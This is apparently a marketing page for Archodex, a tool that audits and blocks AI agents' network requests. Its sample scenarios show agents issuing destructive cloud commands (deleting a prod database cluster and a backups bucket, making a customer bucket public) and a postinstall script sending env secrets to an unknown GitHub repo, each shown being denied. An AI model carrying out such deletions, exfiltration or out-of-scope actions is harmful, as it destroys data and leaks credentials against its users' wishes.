The first request-level audit and protection for agents.

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  1. A prompt starts a conversation.

    Archodex sees every network request the agent makes, encrypted payloads included, and starts tracking.

    Prompt

    1. Dana R.

      Clean up the old staging tables.

    POST https://api.openai.com/v1/responses
    {"input": "Clean up the old staging tables.", …}
  2. The agent calls a tool.

    Archodex watches what the agent does, including all descendant processes of tool calls.

    Model response

    tool call  shell
    command    aws rds delete-db-cluster --db-cluster-identifier orders-db
  3. Agentic network requests are captured.

    On employee laptops and in sandboxes.

    Tool call

    codex zsh aws

    POST https://rds.us-east-1.amazonaws.com/
    Action=DeleteDBCluster&DBClusterIdentifier=orders-db
  1. Actions are parsed for effects.

    The operation and the resource, not just the host.

    Operation
    rds:DeleteDBCluster
    Account
    934058473821 (prod)
    Resource
    orders-db
  2. Attributed to agent, task, and human.

    Even when the agent uses the employee's own credentials.

    Agent
    Codex
    On behalf of
    dana.r@acme.com
    Conversation
    “Clean up the old staging tables.”
  1. Decided by policy, then auto-approval.

    Matching declarative policies immediately return Allow, Deny, or Ask, where the decision is escalated to a human. All other requests are handled by auto-approval decisions.

    1. Policy No rule matched
    2. Auto-approval
      Operation
      rds:DeleteDBCluster on orders-db
      Account
      934058473821 (prod)
      Agent
      Codex for dana.r@acme.com
      Conversation
      “Clean up the old staging tables.”

      Denied

  2. The agent learns why, and corrects course.

    Agents can interact with the Archodex MCP to understand why it was denied and either fix it or ask for approval by a human.

    Archodex MCP

    1. Codex

      Why was rds:DeleteDBCluster on orders-db denied?

    2. Archodex

      The task says staging, and orders-db is in the prod account.

    3. Codex
      aws rds delete-db-cluster --db-cluster-identifier orders-db --profile staging

      Allowed

  3. Recorded in your SIEM.

    Or any log pipeline or OpenTelemetry service.

    Audit record

    agent        Codex
    user         dana.r@acme.com
    conversation "Clean up the old staging tables."
    operation    rds:DeleteDBCluster
    resource     orders-db · 934058473821
    decision     Deny · auto-approval

What it catches.

  • Agent swarm effects

    Trace the root cause of multi-agent downstream effects.

    1. Dana R. › Claude Code “Share the demo files with the client.”
    2. Claude Code › subagent “Make the files shareable.”
    3. subagent › Codex “Make the exports bucket public.”

    codex › gcloud

    storage.setIamPolicy gs://acme-customer-exports

    allUsers as viewer, project acme-prod

    Denied Traced back to Dana's demo request

  • Supply-chain attack

    A postinstall script sends secrets through a host every allowlist permits.

    npm › node postinstall.js

    PUT api.github.com/repos/x7-dev/drop/contents/env.txt

    Credentials to an unknown repository

    Denied Secret heading somewhere new

  • Inherited access

    A sandboxed agent uses its IAM role for a delete nobody asked for.

    claude › aws

    s3:DeleteBucket acme-prod-backups

    208415739620 (prod)

    Denied Outside the session's task

  • Human in the loop

    A push to main waits for a person.

    claude › git

    git push origin main

    acme/api

    Approved By Dana R.

See it on your own agents.

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